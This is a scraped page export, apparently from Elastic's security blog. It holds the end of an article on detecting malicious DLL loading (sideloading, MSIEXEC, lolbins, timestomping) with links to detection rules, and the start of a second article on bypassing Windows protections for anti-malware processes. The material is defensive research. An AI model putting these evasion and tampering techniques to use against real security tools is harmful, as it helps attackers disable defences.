event with a DLL load event.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image11.jpg\",alt:\"\",width:\"1142\",height:\"611\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below are some examples of malicious Word and Excel documents using this delivery technique.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image16.jpg\",alt:\"\",width:\"980\",height:\"319\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-via-msiexec\",children:\"DLL via MSIEXEC\"}),`\n`,(0,i.jsx)(e.p,{children:\"MsiExec is another great option when you need to execute malicious DLLs because this activity blends in well with legitimate software installers. Two observed delivery methods are:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Calling the DLLRegisterServer export from a random DLL using the command-line arguments /y or /z as documented here\"}),`\n`,(0,i.jsx)(e.li,{children:\"Build an installer that uses custom actions to load and execute a DLL as documented here and here\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The following query can be used to identify the execution of the built-in Windows Installer, MSIEXEC, to call the exported function and run code:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image26.jpg\",alt:\"\",width:\"1030\",height:\"307\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Examples where MSI is used to load malicious DLLs:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image4.jpg\",alt:\"\",width:\"1343\",height:\"599\"})}),`\n`,(0,i.jsx)(e.p,{children:\"DLLs delivered via Windows Installer custom actions can be detected by correlating a DLL file creation event where the calling process is MsiExec and where that DLL is subsequently loaded by the same MsiExec process.\"}),`\n`,(0,i.jsx)(e.p,{children:\"It's worth noting that there are some legitimate uses of Windows Installer custom actions and this query may require some filtering in environments where those are used.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image12.jpg\",alt:\"\",width:\"1094\",height:\"398\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following query matches the Gwisin Ransomware documented by \",(0,i.jsx)(e.a,{href:\"https://asec.ahnlab.com/en/37483/\",rel:\"nofollow\",children:\"AhnLab\"}),\" and for which a \",(0,i.jsx)(e.a,{href:\"https://github.com/ChoiSG/GwisinMsi\",rel:\"nofollow\",children:\"PoC\"}),\" has been created.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-delivery-via-lolbins\",children:\"DLL delivery via lolbins\"}),`\n`,(0,i.jsx)(e.p,{children:\"Some malware relies on trusted Microsoft binaries to download, decode or extract DLLs. This query correlates PE file creation or modification by common built-in tools, followed by an image load.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image13.jpg\",alt:\"\",width:\"1357\",height:\"312\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Examples of malware identified using this detection approach:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image28.jpg\",alt:\"\",width:\"1117\",height:\"619\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-sideload-into-existing-program\",children:\"DLL sideload into existing program\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following detection identifies attempts to load a recently-created and unsigned DLL file by an already existing signed process within the same current directory. Comparing the difference between the creation time of the existing program and the DLL creation time we can spot these kinds of anomalies.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image29.jpg\",alt:\"\",width:\"984\",height:\"732\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The next example matches when the malicious secure32.dll process (created 28 seconds ago) is written to the current OneDrivedirectory and automatically loaded by OneDrive.exe (created 2.5 years ago):\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image17.jpg\",alt:\"\",width:\"1440\",height:\"487\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-loading-from-suspicious-directories\",children:\"DLL loading from suspicious directories\"}),`\n`,(0,i.jsx)(e.p,{children:\"Dropping a DLL to a user-writable directories and side loading that with a trusted binary is also a common pattern. The following query looks for this behavior and, by leveraging relative creation and modification times, it can reduce the alerts volume while limiting those to a time window following initial execution.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image8.jpg\",alt:\"\",width:\"1146\",height:\"833\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The most commonly-targeted user-writable directories are \",(0,i.jsx)(e.code,{children:\"?:\\\\Users\\\\Public\"}),\" and \",(0,i.jsx)(e.code,{children:\"?:\\\\ProgramData\"}),\". The full query containing more than 70 suspicious folders can be found \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unsigned_dll_loaded_from_suspdir.toml\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below see a example depicting malicious matches where various trusted binaries were abused to load malicious DLLs: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image2.jpg\",alt:\"\",width:\"1270\",height:\"427\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image21.jpg\",alt:\"\",width:\"1347\",height:\"245\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-load-with-a-abnormal-creation-time\",children:\"DLL load with a abnormal creation time\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Another interesting scenario is identifying a DLL load event where the DLL has a suspicious creation time, and which could be a result of timestomping. This query compares inconsistencies between the creation time and filename modification time using dll.Ext.relative_file_name_modify_time and dll.Ext.relative_file_creation_time immediately followed by an image load: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image1.jpg\",alt:\"\",width:\"916\",height:\"821\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following is an example where malware drop DLLs in trusted directories and then use timestomping to ensure those DLLs blend in with existing files in those directories: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image22.jpg\",alt:\"\",width:\"1304\",height:\"592\"})]}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-from-removable-device\",children:\"DLL from removable device\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"DLL side-loading from a removable device is still a valid infection vector, especially for air-gapped networks. An example was recently shared by \",(0,i.jsx)(e.a,{href:\"https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia\",rel:\"nofollow\",children:\"Mandiant\"}),\" involving an espionage-oriented threat. The following EQL query can be used to find similar behavior: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image24.jpg\",alt:\"\",width:\"1282\",height:\"320\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Here is an example with several matches: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image31.jpg\",alt:\"\",width:\"1440\",height:\"404\"})]}),`\n`,(0,i.jsx)(e.h2,{id:\"protection-rules\",children:\"Protection Rules\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic provides significant capabilities for identifying unusual or malicious library load events with existing behavior protection rules that take advantage of Windows Libraries events:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_ntdll_loaded_from_an_unusual_path.toml\",rel:\"nofollow\",children:\"NTDLL Loaded from an Unusual Path\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_ntdll_image_load.toml\",rel:\"nofollow\",children:\"Suspicious NTDLL Image Load\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dll_loaded_from_an_archive_file.toml\",rel:\"nofollow\",children:\"DLL Loaded from an Archive File\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_loaded_a_dropped_executable_file.toml\",rel:\"nofollow\",children:\"Microsoft Office Loaded a Dropped Executable File\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_from_an_iso_mounted_device.toml\",rel:\"nofollow\",children:\"Suspicious ImageLoad from an ISO Mounted Device\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_evasion_via_oversized_image_load.toml\",rel:\"nofollow\",children:\"Potential Evasion via Oversized Image Load\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_via_windows_update_auto_update_client.toml\",rel:\"nofollow\",children:\"Suspicious ImageLoad via Windows Update Auto Update Client\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_privilege_escalation_via_microsoft_exchange_dll_hijacking.toml\",rel:\"nofollow\",children:\"Privilege Escalation via Microsoft Exchange DLL Hijacking\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_microsoft_signed_binary.toml\",rel:\"nofollow\",children:\"Potential DLL SideLoad via a Microsoft Signed Binary\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_renamed_signed_binary.toml\",rel:\"nofollow\",children:\"Potential DLL SideLoad via a Renamed Signed Binary\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml\",rel:\"nofollow\",children:\"Library Load of a File Written by a Signed Binary Proxy\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_search_order_hijacking_of_an_existing_program.toml\",rel:\"nofollow\",children:\"Potential DLL Search Order Hijacking of an Existing Program\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_dllregisterserver_execution_via_msiexec.toml\",rel:\"nofollow\",children:\"Suspicious DLLRegisterServer Execution via MSIEXEC\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_imageload_of_a_file_dropped_via_smb.toml\",rel:\"nofollow\",children:\"ImageLoad of a File dropped via SMB\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml\",rel:\"nofollow\",children:\"RunDLL32/Regsvr32 Loads Dropped Executable\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml\",rel:\"nofollow\",children:\"Unusual DLL Extension Loaded by Rundll32 or Regsvr32\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml\",rel:\"nofollow\",children:\"RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_initial_access_via_dll_search_order_hijacking.toml\",rel:\"nofollow\",children:\"Potential Initial Access via DLL Search Order Hijacking\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml\",rel:\"nofollow\",children:\"Suspicious Control Panel DLL Loaded by Explorer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_protected_process_light_bypass_via_dll_tampering.toml\",rel:\"nofollow\",children:\"Protected Process Light Bypass via DLL Tampering\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_dll_redirection.toml\",rel:\"nofollow\",children:\"Potential Privilege Escalation via DLL Redirection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml\",rel:\"nofollow\",children:\"Potential Privilege Escalation via Missing DLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation.toml\",rel:\"nofollow\",children:\"Potential Privilege Escalation via Elevated IFileOperation\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_service_dll_unsigned.toml\",rel:\"nofollow\",children:\"Suspicious DLL Loaded by Svchost\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_dll_loaded_from_a_removable_media.toml\",rel:\"nofollow\",children:\"Suspicious DLL Loaded from a Removable Media\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml\",rel:\"nofollow\",children:\"Suspicious Control Panel DLL Loaded by Explorer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dynwrapx_image_load_via_windows_scripts.toml\",rel:\"nofollow\",children:\"Dynwrapx Image Load via Windows Scripts\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_image_load_via_windows_scripts.toml\",rel:\"nofollow\",children:\"Suspicious Image Load via Windows Scripts\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_image_load_with_a_spoofed_creation_time.toml\",rel:\"nofollow\",children:\"Potential Image Load with a Spoofed Creation Time\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:\"Compared to detections that rely on process execution events and where adversaries expose more detection opportunities via command-line flags and parent process relationships, designing detections based on DLL events requires more enrichment and correlation to decrease noise rate and increase confidence.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In this publication we shared numerous examples of how we\\u2019re using DLL events to identify threats. You can use the different capabilities Elastic endpoint offers to produce higher signal alerts, too. Given the multitude of methods of delivering malicious code as DLLs, though, relying on behavioral detections alone is not enough. Combining this logic with malware file classification, shellcode detection features, and user-entity based analytics (UEBA) improves the fidelity of this metadata for detection purposes.\"})]})}function L(o={}){let{wrapper:e}=o.components||{};return e?(0,i.jsx)(e,Object.assign({},o,{children:(0,i.jsx)(c,o)})):c(o)}var x=L;return w(y);})();\n;return Component;"},"_id":"articles/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion.mdx","_raw":{"sourceFilePath":"articles/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion.mdx","sourceFileName":"Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion"},"type":"Article","imageUrl":"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/blog-thumb-roman-columns.jpg","readingTime":"11 min read","series":"","url":"/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion","headings":[{"level":2,"title":"DLL via Rundll32 / Regsvr32","href":"#dll-via-rundll32--regsvr32"},{"level":3,"title":"Rundll32 or Regsvr32 Executing an oversized File","href":"#rundll32-or-regsvr32-executing-an-oversized-file"},{"level":3,"title":"Rundll32 or Regsvr32 loading a DLL with a suspicious original file name","href":"#rundll32-or-regsvr32-loading-a-dll-with-a-suspicious-original-file-name"},{"level":2,"title":"DLL via Disk Images","href":"#dll-via-disk-images"},{"level":3,"title":"Suspicious ImageLoad from an ISO Mounted Device","href":"#suspicious-imageload-from-an-iso-mounted-device"},{"level":3,"title":"Suspicious Microsoft Image Loaded from a Disk Image","href":"#suspicious-microsoft-image-loaded-from-a-disk-image"},{"level":3,"title":"Potential DLL SideLoad via a Renamed Signed Binary","href":"#potential-dll-sideload-via-a-renamed-signed-binary"},{"level":3,"title":"Potential DLL SideLoad via a Microsoft Signed Binary","href":"#potential-dll-sideload-via-a-microsoft-signed-binary"},{"level":2,"title":"DLL from Archive Files","href":"#dll-from-archive-files"},{"level":2,"title":"DLL via Malicious Documents","href":"#dll-via-malicious-documents"},{"level":2,"title":"DLL via MSIEXEC","href":"#dll-via-msiexec"},{"level":2,"title":"DLL delivery via lolbins","href":"#dll-delivery-via-lolbins"},{"level":2,"title":"DLL sideload into existing program","href":"#dll-sideload-into-existing-program"},{"level":2,"title":"DLL loading from suspicious directories","href":"#dll-loading-from-suspicious-directories"},{"level":2,"title":"DLL load with a abnormal creation time","href":"#dll-load-with-a-abnormal-creation-time"},{"level":2,"title":"DLL from removable device","href":"#dll-from-removable-device"},{"level":2,"title":"Protection Rules","href":"#protection-rules"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"Sandboxing Antimalware Products for Fun and Profit","slug":"sandboxing-antimalware-products","date":"2023-02-21","description":"This article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack.","image":"blog-thumb-tools-various.jpg","body":{"raw":"\nThis article demonstrates a flaw that allows attackers to bypass a Windows security mechanism which protects anti-malware products from various forms of attack. This is of particular interest because we build and maintain two anti-malware products that benefit from this protection.\n\n## Protected Anti-Malware Services\n\nWindows 8.1 [introduced](https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-) a concept of Protected Antimalware Services. This enables specially-signed programs to run such that they are immune from tampering and termination, even by administrative users. Microsoft’s documentation ([archived](https://web.archive.org/web/20211019010629/https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-)) describes this as:\n\n\u003e In Windows 8.1, a new concept of protected service has been introduced to allow anti-malware user-mode services to be launched as a protected service. After the service is launched as protected, Windows uses code integrity to only allow trusted code to load into the protected service. Windows also protects these processes from code injection and other attacks from admin processes.\n\nThe goal is to prevent malware from instantly disabling your antivirus and then running amok. For the rest of this article, we call them Protected Process Light (PPL). For more depth, [Alex Ionescu](https://twitter.com/aionescu) goes into great detail on protected processes in his [talk at NoSuchCon 2014](https://www.youtube.com/watch?v=35L_qJNMu1A).\n\nTo be able to run as a PPL, an anti-malware vendor must apply to Microsoft, prove their identity, sign binding legal documents, implement an [Early Launch Anti-Malware](https://docs.microsoft.com/en-us/windows/win32/w8cookbook/secured-boot) (ELAM) driver, run it through a test suite, and submit it to Microsoft for a special Authenticode signature. It is not a trivial process. Once this process is complete, the vendor can [use this ELAM driver](https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo) to have Windows protect their anti-malware service by running it as a PPL.\n\nYou can see PPL in action yourself by running the following from an elevated administrative command prompt on a default Windows 10 install:\n\n**Protected Process Light in Action**\n\n```\nC:\\WINDOWS\\system32\u003ewhoami\nnt authority\\system\n\nC:\\WINDOWS\\system32\u003ewhoami /priv | findstr \"Debug\"\nSeDebugPrivilege Debug programs Enabled\n\nC:\\WINDOWS\\system32\u003etaskkill /f /im MsMpEng.exe\nERROR: The process \"MsMpEng.exe\" with PID 2236 could not be terminated.\nReason: Access is denied.\n\n```\n\nAs you can see here, even a user running as SYSTEM (or an elevated administrator) with [SeDebugPrivilege](https://devblogs.microsoft.com/oldnewthing/20080314-00/?p=23113) cannot terminate the PPL Windows Defender anti-malware Service (MsMpEng.exe). This is because non-PPL processes like taskkill.exe cannot obtain handles with the PROCESS_TERMINATE access right to PPL processes using APIs such as [OpenProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess).\n\nIn summary, Windows attempts to protect PPL processes from non-PPL processes, even those with administrative rights. This is both documented and implemented. That being said, with PROCESS_TERMINATE blocked, let’s see if there are other ways we can interfere with it instead.\n\n## Windows Tokens\n\nA Windows token can be thought of as a security credential. It says who you are and what you’re allowed to do. Typically when a user runs a process, that process runs with their token and can do anything the user can do. Some of the most important data within a token include:\n\n- User identity\n- Group membership (e.g. Administrators)\n- Privileges (e.g. SeDebugPrivilege)\n- Integrity level\n\nTokens are a critical part of Windows authorization. Any time a Windows thread accesses a [securable object](https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects), the OS performs a security check. It compares the thread’s effective token against the [security descriptor](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptors) of the object being accessed. You can read more about tokens in the Microsoft [access token documentation](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens) and 